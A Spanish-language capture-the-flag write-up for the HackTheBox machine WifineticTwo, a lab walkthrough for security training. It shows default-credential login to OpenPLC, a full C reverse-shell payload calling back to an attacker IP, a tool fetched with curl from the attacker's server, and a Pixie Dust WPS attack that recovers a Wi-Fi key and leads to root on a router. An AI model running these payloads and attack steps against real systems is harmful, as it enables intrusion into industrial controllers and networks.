WifineticTwo – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘WifineticTwo’ Avatar


Resumen Link to heading

WifineticTwo es una máquina basada en Linux de la plataforma HackTheBox. Después de un escaneo inicial de puertos TCP, éste muestra que la máquina víctima está corriendo un sitio web. Visitando este sitio web notamos que éste es un panel de login para OpenPLC, un Programmable Logic Controler (PLC) software. Afortunadamente, el portal utiliza las credenciales por defecto para OpenPLC, lo cual nos permite ganar acceso dentro del panel de administración. Una vez dentro de éste, somos capaces de inyectar código malicioso en C y ganar acceso inicial a la máquina víctima. Revisando las interfaces de net, notamos que entre ellas hay una interfaz de net de WiFi. Analizando la configuración de esta nueva interfaz, nos percatamos de que podemos performar un ataque Pixie Dust Attack, lo cual nos permite robar credenciales/PIN para generar un certificado. Usando este certificado nos podemos autenticar ante el router y ganar acceso a la máquina que administra éste, completando así la máquina.


User / Usuario Link to heading

Empezamos mirando por puertos TCP que estén abiertos utilizando la herramienta Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.7

El scan muestra sólo 2 puertos abiertos: 22 SSH y 8080 HTTP:

❯ sudo nmap -sVC -p22,8080 10.10.11.7 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 20:56 -04
Nmap scan report for 10.10.11.7
Host is up (0.17s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 232
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zk_lzw.ST-G_x-51p-hrlnoJWimVQD7K9Y; Expires=Fri, 24-May-2024 01:01:47 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Fri, 24 May 2024 00:56:47 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 302 FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 219
|     location: http://0.0.0.0:8080/login
|     vary: Cookie
|     set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.Zk_lzQ.6sVEZe2_89oZVXIkhWgb6zwWALU; Expires=Fri, 24-May-2024 01:01:45 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Fri, 24 May 2024 00:56:45 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     content-type: text/html; charset=utf-8
|     allow: HEAD, OPTIONS, GET
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zk_lzg.3ADo50DfUqDOgDH8Oq9HKvfLk_4; Expires=Fri, 24-May-2024 01:01:46 GMT; HttpOnly; Path=/
|     content-length: 0
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Fri, 24 May 2024 00:56:46 GMT
|   RTSPRequest:
|     HTTP/1.1 400 Bad request
|     content-length: 90
|     cache-control: no-cache
|     content-type: text/html
|     connection: close
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|_    </body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.85 seconds

Visitando http://10.10.11.7:8080 redirige a la url http://10.10.11.7:8080/login, donde podemos ver un panel para el software OpenPLC:

WifineticTwo 1

Información
OpenPLC is an open-source Programmable Logic Controller (PLC) that is based on an easy to use software. It is the first fully functional standardized open source PLC, both in software and in hardware.

Buscando qué es un PLC tenemos:

Información
La función que tiene un PLC es detectar diversos tipos de señales del proceso, y elaborar y enviar acciones de acuerdo a lo que se ha programado. Además, recibe configuraciones de los operadores (programadores) y da reporte a los mismos, aceptando modificaciones de programación cuando son necesarias.

Tal cual se puede encontrar en el repositorio oficial de OpenPLC, las credenciales por defecto son openplc:openplc. Si usamos estas credenciales en el panel de autenticación funciona, y estamos dentro:

WifineticTwo 2

Una vez dentro, y analizando la página, si vamos a la pestaña de Hardware al lado izquierda, podemos ver una página como la siguiente:

WifineticTwo 3

Este sitio muestra un panel donde se puede ver un código en lenguaje de programación C. El código muestra algunas funciones llamadas initCustomLayer, updateCustomIn and updateCustomOut, las cuales se encuentran vacías; de manera que de momento no ejecutan nada. Dado que necesitamos un payload en C es que voy a la página de Reverse Shell Generator (https://www.revshells.com/), voy a la sección de payloads en C, cambio la dirección a 10.10.16.2 (mi IP de atacante) y 443 (el puerto en el cual me pondré en escucha con netcat). El código que genera la página es entonces:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 443; // Listening port
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.2"); // Change to your IP

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

Ahora agregamos este código al código original (no reemplazamos todo, sólo una porción). Paso el payload dentro de la función llamada updateCustomOut(), de manera que el código en la página -no considerando los comentarios del código- se ve ahora como:

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer()
{
}

void updateCustomIn()
{

}

void updateCustomOut()
{
    int port = 443; // Listening port
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.2"); // Change to your IP

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0; 
}

Empiezo un listener con netcat en el puerto 443 y clickeo en Save changes. El programa compila, pero no sucede nada. De vuelta al Dashboard, en la parte inferior izquierda puedo ver un botón que dice Start PLC. Apenas clickeo en esta obtengo una shell en mi listener de netcat como el usuario root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.7] 58690
whoami

root

No obstante, noto que la IP de la máquina no es la misma que la de la máquina víctima:

root@attica01:/opt/PLC/OpenPLC_v3/webserver# hostname -I

10.0.3.2 10.0.3.52

de manera que debemos estar dentro de un contenedor o algo similar.

Además noto que dentro del directorio /root encontramos el archivo user.txt flag… de manera que ya obtenemos la flag del usuario.

root@attica01:/opt/PLC/OpenPLC_v3/webserver# ls /root

user.txt

Root Link to heading

Corriendo ip a muestra que tenemos una nueva interfaz de net llamada wlan0, una nomenclatura comúnmente usada para interfaces WiFi. Basados en el nombre de la máquina víctima, esto es una pista. Luego, analizamos la interfaz wlan0:

root@attica01:/opt/PLC/OpenPLC_v3/webserver# iw dev wlan0 scan

BSS 02:00:00:00:01:00(on wlan0)
        last seen: 4163.844s [boottime]
        TSF: 1716516063819443 usec (19867d, 02:01:03)
        freq: 2412
        beacon interval: 100 TUs
        capability: ESS Privacy ShortSlotTime (0x0411)
        signal: -30.00 dBm
        last seen: 0 ms ago
        Information elements from Probe Response frame:
        SSID: plcrouter
        Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
        DS Parameter set: channel 1
        ERP: Barker_Preamble_Mode
        Extended supported rates: 24.0 36.0 48.0 54.0
        RSN:     * Version: 1
                 * Group cipher: CCMP
                 * Pairwise ciphers: CCMP
                 * Authentication suites: PSK
                 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
        Supported operating classes:
                 * current operating class: 81
        Extended capabilities:
                 * Extended Channel Switching
                 * SSID List
                 * Operating Mode Notification
        WPS:     * Version: 1.0
                 * Wi-Fi Protected Setup State: 2 (Configured)
                 * Response Type: 3 (AP)
                 * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
                 * Manufacturer:
                 * Model:
                 * Model Number:
                 * Serial Number:
                 * Primary Device Type: 0-00000000-0
                 * Device name:
                 * Config methods: Label, Display, Keypad
                 * Version2: 2.0

leyendo Config methods: Label, Display, Keypad sugiere que WPS (Wi-Fi Protected Setup) está activo. De manera que, en resumen, el WPS está habilitado en la red con SSID plcrouter.

Basados en estos descubrimientos, podemos tratar de realizar un Pixie Dust Attack usando la herramienta OneShot (más espefíciamente, su versión escrita en C de este repositorio) siguiendo los pasos de HackTricks. Clonamos la herramienta en nuestra máquina de atacante y compartimos un servidor temporal HTTP con Python en el puerto 8080:

❯ git clone https://github.com/nikita-yfh/OneShot-C.git

Cloning into 'OneShot-C'...
remote: Enumerating objects: 32, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 32 (delta 17), reused 4 (delta 0), pack-reused 0
Receiving objects: 100% (32/32), 19.20 KiB | 378.00 KiB/s, done.
Resolving deltas: 100% (17/17), done.

❯ cd OneShot-C

❯ ls && python3 -m http.server 8080

Makefile  oneshot.c  README.md  vulnwsc.txt
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8000/) ...

y en la máquina víctima me descargo el recurso compartido usando cURL:

root@attica01:/opt/PLC/OpenPLC_v3/webserver# curl -s http://10.10.16.2:8080/oneshot.c -o /tmp/oneshot.c

Luego, construimos/compilamos el archivo .c:

root@attica01:/opt/PLC/OpenPLC_v3/webserver# cd /tmp

root@attica01:/tmp# gcc oneshot.c -o oneshot

Lo ejecutamos, seleccionando aquella opción que muestra plcroute (en este caso la opción 1). De esta manera obtenemos:

root@attica01:/tmp# ./oneshot -i wlan0 -K

[*] BSSID not specified (--bssid) — scanning for available networks
Network list:
#    BSSID              ESSID                     Sec.     PWR  WSC device name             WSC model
1)   02:00:00:00:01:00  plcrouter                 WPA2     -30
Select target (press Enter to refresh): 1
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: 3179692a770db1f3c041063529e7d1c8
[*] Building Message M2
[P] PKR: 0722027bb27165c18bb3f32cfeddddc9dac30e910aae471749a212d3e096263c4ce1685fffbe5ae8894e33fc042b7f65e7718bffffe55e9662d849dbcbf65a704dfde008e52dccfa37af30e35a174981392e1101750e4f479e31ddd21fa0a5d71a6b77d0dbf071dbe489a87802e1fddb5999101f03bd3f7ef891f30ca5f27f054b270a1caf5f3de40e7274610ad44c032e1f7b6b348c9d7961b158081496e792fdd159c150c88cdde9d2722585d570e9f9c4d948696719676bf97e94b10dacdd
[P] PKE: a7208b819389e5a8c99da2ac8f7e314be9e174b493b233f7328469bd9a657bd79f04ace5f6a87e5e87da72e99b19c715c466da2605efa5e80d4d43a7a6f30e7e8a656a3d4113f6ed2a9e3ad0b5c7addb57923f70a31d7d0d6d0fcaf43077b21f6cfb8b716bd036834057e6635a1207c9cc2c2daff8c4b10ea0150e1f6ac0fe92ee0b73893ca04f050a8d0a6bff55fb29c92434d1dd519b30f38336a980faa7a50884055260a2ea5b7d192e7f3bed2c112b7aadf679552cd8443541b23340b6c1
[P] Authkey: 1f08524b0af2da914eb5426252442b7e2c93e33a35af41fc053b81854f464657
[*] Received WPS Message M3
[P] E-Hash1: ca3c4ae5e9d29ba95361c95a59004cf5b76d0dd78bfe1648b0fd03d51cef596e
[P] E-Hash2: fa097374b2e3165ba269777ded8097e587bcd16751bad315d8d183968da562e5
[*] Building Message M4
[*] Received WPS Message M5
[*] Building Message M6
[*] Received WPS Message M7
[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter

Aquí WPA PSK: NoWWEDoKnowWhaTisReal123! y AP SSID: plcrouter son los parámetros importantes. Ahora seguiré estos pasos. Podemos entonces utilizar una herramienta llamada wpa_passphrase para guardar estas credenciales y así generar un “certificado”. Noto que la herramienta wpa_passphrase ya está previamente instalada en la máquina víctima:

root@attica03:/opt/PLC/OpenPLC_v3/webserver# which wpa_passphrase

/usr/bin/wpa_passphrase

De manera que corremos en la máquina víctima basados en la documentación:

root@attica03:/tmp# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > leaked

lo cual genera un archivo (el cual he decidido llamar leaked):

root@attica03:/tmp# cat leaked

network={
        ssid="plcrouter"
        #psk="NoWWEDoKnowWhaTisReal123!"
        psk=2bafe4e17630ef1834eaa9fa5c4d81fa5ef093c4db5aac5c03f1643fef02d156
}

Luego, podemos utilizar la herramienta wpa_supplicant (la cual también está ya instalada en la máquina víctima):

root@attica03:/tmp# wpa_supplicant -B -c leaked -i wlan0

Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information

No obstante, todavía no tenemos una dirección de IP para esta interfaz de net:

root@attica03:/tmp# ip addr show wlan0

7: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::ff:fe00:400/64 scope link
       valid_lft forever preferred_lft forever

de manera que asignamos una:

root@attica03:/tmp# ifconfig wlan0 192.168.1.15 netmask 255.255.255.0

donde he asignado la dirección de IP 192.168.1.15. En este caso 198.168.1.X es un “estándar” y 15 decidí usarlo para asegurarme de que no hallan máquinas en la red con esta IP/evitar conflictos.

Ahora, trato de loguearme via SSH como root a la IP por defecto de la red, la cual usualmente es 192.168.1.1 (simplemente 1 en lugar de 15 en el último octeto de la dirección IPv4):

root@attica03:/tmp# ssh root@192.168.1.1

The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.


BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 23.05.2, r23630-842932a63d
 -----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@ap:~# whoami

root

Y nos hemos podido loguear como el usuario root en la máquina principal. Podemos finalmente leer la flag del usuario root en el directorio /root.

~Happy Hacking